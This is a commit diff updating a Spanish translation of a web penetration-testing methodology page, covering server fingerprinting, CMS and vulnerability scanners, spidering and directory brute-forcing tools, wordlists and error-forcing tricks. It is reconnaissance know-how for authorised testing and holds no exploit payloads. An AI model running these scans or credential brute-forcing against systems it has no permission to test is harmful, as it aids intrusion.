Translated ['src/network-services-pentesting/pentesting-web/README.md',

2025-10-10 18:36:50 +00:00 · 2025-08-28 14:21:22 +00:00 · 2025-08-28 14:21:22 +00:00 · d06df4db95
commit d06df4db95
parent 59d2cce675
5 changed files with 352 additions and 155 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -432,6 +432,7 @@
  - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
  - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
  - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
+  - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
  - [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
  - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
  - [Joomla](network-services-pentesting/pentesting-web/joomla.md)
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@ -4,9 +4,9 @@

 ## Información Básica

-El servicio web es el más **común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**.
+El servicio web es el servicio más **común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**.

-**Puerto por defecto:** 80 (HTTP), 443(HTTPS)
+**Puerto por defecto:** 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Guía de API Web
+### Guía de Web API


 {{#ref}}
@ -26,46 +26,46 @@ web-api-pentesting.md

 ## Resumen de la metodología

-> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo eso. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierta con un servidor web indeterminado dentro del alcance.
+> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web indeterminado dentro del scope.

- [ ] Comienza por **identificar** las **tecnologías** utilizadas por el servidor web. Busca **trucos** a tener en cuenta durante el resto de la prueba si puedes identificar con éxito la tecnología.
- [ ] ¿Alguna **vulnerabilidad conocida** de la versión de la tecnología?
- [ ] ¿Usando alguna **tecnología bien conocida**? ¿Algún **truco útil** para extraer más información?
- [ ] ¿Algún **escáner especializado** para ejecutar (como wpscan)?
- [ ] Lanza **escáneres de propósito general**. Nunca sabes si van a encontrar algo o si van a encontrar información interesante.
- [ ] Comienza con los **chequeos iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS).
- [ ] Comienza a **spidering** la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros utilizados.** Además, verifica si hay **hallazgos especiales**.
- [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser spidered._
- [ ] **Brute-Forcing de directorios**: Intenta forzar todos los folders descubiertos buscando nuevos **archivos** y **directorios**.
- [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser Brute-Forced._
- [ ] **Verificación de copias de seguridad**: Prueba si puedes encontrar **copias de seguridad** de **archivos descubiertos** añadiendo extensiones comunes de copia de seguridad.
- [ ] **Brute-Force de parámetros**: Intenta **encontrar parámetros ocultos**.
- [ ] Una vez que hayas **identificado** todos los posibles **endpoints** que aceptan **entrada de usuario**, verifica todo tipo de **vulnerabilidades** relacionadas con ello.
- [ ] [Sigue esta lista de verificación](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] Empieza por **identificar** las **technologies** usadas por el servidor web. Busca **tricks** para tener en cuenta durante el resto del test si puedes identificar la tech.
+- [ ] ¿Alguna **vulnerabilidad conocida** en la versión de la tecnología?
+- [ ] ¿Usando alguna **well known tech**? ¿Algún **truco útil** para extraer más información?
+- [ ] ¿Algún **specialised scanner** para ejecutar (like wpscan)?
+- [ ] Lanza **general purposes scanners**. Nunca sabes si van a encontrar algo o alguna información interesante.
+- [ ] Empieza con las **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS).
+- [ ] Comienza con el **spidering** de la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros en uso.** Además, revisa **hallazgos especiales**.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] **Directory Brute-Forcing**: Intenta brute force todas las carpetas descubiertas buscando nuevos **archivos** y **directorios**.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de **archivos descubiertos** añadiendo extensiones comunes de backup.
+- [ ] **Brute-Force parameters**: Intenta **encontrar parámetros ocultos**.
+- [ ] Una vez que hayas **identified** todos los posibles **endpoints** que aceptan **user input**, revisa todo tipo de **vulnerabilidades** relacionadas.
+- [ ] [Sigue esta checklist](../../pentesting-web/web-vulnerabilities-methodology.md)

-## Versión del servidor (¿Vulnerable?)
+## Server Version (Vulnerable?)

 ### Identificar

-Verifica si hay **vulnerabilidades conocidas** para la **versión** del servidor que se está ejecutando.\
-Los **encabezados HTTP y las cookies de la respuesta** podrían ser muy útiles para **identificar** las **tecnologías** y/o **versión** que se están utilizando. Un **escaneo de Nmap** puede identificar la versión del servidor, pero también podrían ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
+Comprueba si existen **vulnerabilidades conocidas** para la **version** del servidor que se está ejecutando.\
+Las **HTTP headers and cookies of the response** pueden ser muy útiles para **identify** las **technologies** y/o la **version** en uso. **Nmap scan** puede identificar la version del servidor, pero también pueden ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+Buscar [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)

-### **Check if any WAF**
+### **Comprobar si hay algún WAF**

 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)

-### Web tech tricks
+### Trucos de tecnología web

-Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnologías** bien conocidas que se están utilizando:
+Algunos **trucos** para **encontrar vulnerabilidades** en distintas **tecnologías** bien conocidas que se estén usando:

 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@ -78,6 +78,7 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
 - [**Golang**](golang.md)
 - [**GraphQL**](graphql.md)
 - [**H2 - Java SQL database**](h2-java-sql-database.md)
+- [**ISPConfig**](ispconfig.md)
 - [**IIS tricks**](iis-internet-information-services.md)
 - [**Microsoft SharePoint**](microsoft-sharepoint.md)
 - [**JBOSS**](jboss.md)
@ -88,7 +89,7 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
- [**PHP (php tiene muchos trucos interesantes que podrían ser explotados)**](php-tricks-esp/index.html)
+- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
@ -98,30 +99,30 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/index.html)
+- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)

-_Toma en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\
-Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** de las listadas anteriormente o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!).
+_Ten en cuenta que el **mismo dominio** puede usar **diferentes tecnologías** en distintos **puertos**, **carpetas** y **subdominios**._\
+Si la aplicación web está usando alguna **tecnología/plataforma** conocida listada anteriormente o cualquier otra, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!).

-### Source Code Review
+### Revisión de código fuente

-Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **tu cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
+Si el **source code** de la aplicación está disponible en **github**, además de realizar por tu cuenta una prueba White box de la aplicación, hay **alguna información** que podría ser **útil** para la actual prueba Black-Box:

- ¿Hay un **Change-log o Readme o Version** file o algo con **información de versión accesible** a través de la web?
+- ¿Existe un **Change-log o Readme o Version** o algo con **info de versión accesible** vía web?
 - ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)?
- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hashing** se utiliza?
- ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza?
+- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hashing** se usa?
+- ¿Se usa alguna **master key** para encriptar algo? ¿Qué **algoritmo** se utiliza?
 - ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
- ¿Hay alguna **información interesante en el github** (problemas resueltos y no resueltos)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)?
+- ¿Hay alguna **información interesante en github** (issues resueltas y no resueltas)? ¿O en el **historial de commits** (quizá alguna **contraseña** introducida en un commit antiguo)?


 {{#ref}}
 code-review-tools.md
 {{#endref}}

-### Automatic scanners
+### Escáneres automáticos

-#### General purpose automatic scanners
+#### Escáneres automáticos de propósito general
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### Escáneres de CMS

-Si se utiliza un CMS, no olvides **ejecutar un escáner**, tal vez se encuentre algo jugoso:
+Si se usa un CMS no olvides **ejecutar un scanner**, puede que se encuentre algo jugoso:

 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web para problemas de seguridad. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web en busca de problemas de seguridad. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> En este punto, ya deberías tener algo de información sobre el servidor web que está utilizando el cliente (si se proporciona algún dato) y algunos trucos a tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y has ejecutado algún escáner.
+> En este punto ya deberías tener algo de información sobre el servidor web que usa el cliente (si se ha proporcionado algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso habrás encontrado un CMS y ejecutado algún escáner.

-## Descubrimiento de Aplicaciones Web Paso a Paso
+## Descubrimiento paso a paso de la aplicación web

-> A partir de este punto, comenzaremos a interactuar con la aplicación web.
+> A partir de este punto vamos a empezar a interactuar con la aplicación web.

-### Comprobaciones Iniciales
+### Comprobaciones iniciales

-**Páginas predeterminadas con información interesante:**
+**Páginas por defecto con información interesante:**

 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
- También revisa los comentarios en las páginas principales y secundarias.
+- Revisa también los comentarios en las páginas principales y secundarias.

-**Forzando errores**
+**Provocar errores**

-Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
+Los servidores web pueden **comportarse de forma inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **filtrar información sensible**.

- Accede a **páginas falsas** como /whatever_fake.php (.aspx, .html, .etc)
- **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y **valores de parámetros** para crear errores
- Genera un error proporcionando entrada como **`/~randomthing/%s`** al **final** de la **URL**
- Prueba **diferentes Verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE
+- Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
+- **Agrega "\[]", "]]", and "\[\["** en **valores de cookie** y **valores de parámetros** para crear errores
+- Genera un error dando la entrada como **`/~randomthing/%s`** al **final** de la **URL**
+- Prueba **diferentes HTTP Verbs** como PATCH, DEBUG o incorrectos como FAKE

-#### **Verifica si puedes subir archivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**
+#### **Comprueba si puedes subir archivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**

-Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta:
+Si encuentras que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz intenta:

- **Fuerza Bruta** credenciales
- **Sube archivos** a través de WebDav al **resto** de **las carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
+- **Brute Force** credentials
+- **Sube archivos** vía WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.

-### **Vulnerabilidades SSL/TLS**
+### **SSL/TLS vulnerabilidades**

- Si la aplicación **no está forzando al usuario a usar HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una alta vulnerabilidad.
+- Si la aplicación **no obliga al uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
+- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad grave.

-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (En programas de Bug Bounty, probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (En Bug Bounty programs probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv) para volver a comprobar las vulnerabilidades:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@ -195,63 +196,63 @@ Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vu
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Información sobre vulnerabilidades de SSL/TLS:
+Information about SSL/TLS vulnerabilities:

 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)

 ### Spidering

-Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** desde la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
+Lanza algún tipo de **spider** dentro del sitio. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación probada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.

- [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, con LinkFinder para archivos JS y Archive.org como fuente externa.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, también indica "archivos jugosos".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interactivo CLI. También busca en Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con rutas y meg buscará cada ruta en cada host y guardará la respuesta.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no está mantenido, la versión precompilada es antigua y el código actual no compila.
- [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl).
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, con LinkFider para archivos JS y Archive.org como fuente externa.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, también indica "juicy files".
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactivo HTML spider. También busca en Archive.org
+- [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider pero puede ser útil. Puedes indicar un archivo con hosts y un archivo con paths y meg hará fetch de cada path en cada host y guardará la respuesta.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no estar mantenida, la versión precompilada es antigua y el código actual no compila.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl)
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
- [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados).
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Reúne información interesante de archivos JS utilizando varias herramientas.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacidades de renderizado JS.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacidades de JS beautify capaz de buscar nuevas rutas en archivos JS. También puede valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un wrapper de LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto del source HTML como de archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 usando Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente peticiones AJAX. Parece no estar mantenido.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando una expresión regular ingeniosa para encontrar y extraer URLs relativas de archivos feos (minificados).
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recolecta información interesante de archivos JS usando varias herramientas.
 - [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador sin cabeza e imprime todas las URLs cargadas para cargar la página.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te proporcionará el código JS embellecido.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina de Wayback (también descargando las respuestas en el wayback y buscando más enlaces).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **extensión de Burp Suite** para **extraer los parámetros y endpoints** de la solicitud para crear listas de palabras personalizadas para fuzzing y enumeración.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta impresionante para esto.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada enlace que puede encontrar.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador headless e imprime todas las urls cargadas para renderizar la página.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de discovery de contenido que mezcla varias opciones de las herramientas anteriores
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar paths y params en archivos JS.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL de .js.map te conseguirá el código JS beautified
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta usada para descubrir endpoints para un target dado.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre links desde the wayback machine (también descarga las respuestas en el wayback y busca más links)
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando formularios) y también busca info sensible usando regex específicas.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado crawler/spider GUI multi-feature diseñado para profesionales de ciberseguridad.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un package en Go y [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secretos y otros datos interesantes del código fuente JavaScript.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests y crear wordlists personalizadas para fuzzing y enumeración.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente herramienta para esto.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que pueda encontrar.

-### Fuerza bruta de directorios y archivos
+### Brute Force directories and files

-Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y agregando al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
-Herramientas:
+Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
+Tools:

- **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con otras opciones.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, **no tiene** búsqueda **recursiva**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, soporta búsqueda recursiva.**
+- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Esta no es un spider, sino una herramienta que dado el listado de URLs encontradas eliminará URLs "duplicadas".
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensión de Burp para crear una lista de directorios a partir del historial de burp de diferentes páginas.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en importaciones de js).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Utiliza wapalyzer para detectar tecnologías utilizadas y seleccionar las listas de palabras a usar.
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
+- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.

-**Diccionarios recomendados:**
+**Recommended dictionaries:**

 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Diccionario incluido de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
 - [Assetnote wordlists](https://wordlists.assetnote.io)
 - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -267,41 +268,41 @@ Herramientas:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_

-_Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerza bruta o el spidering, debe ser Fuerza Bruta._
+_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._

-### Qué verificar en cada archivo encontrado
+### What to check on each file found

- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTML que pueden ser propensos a tomas de control.
- **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
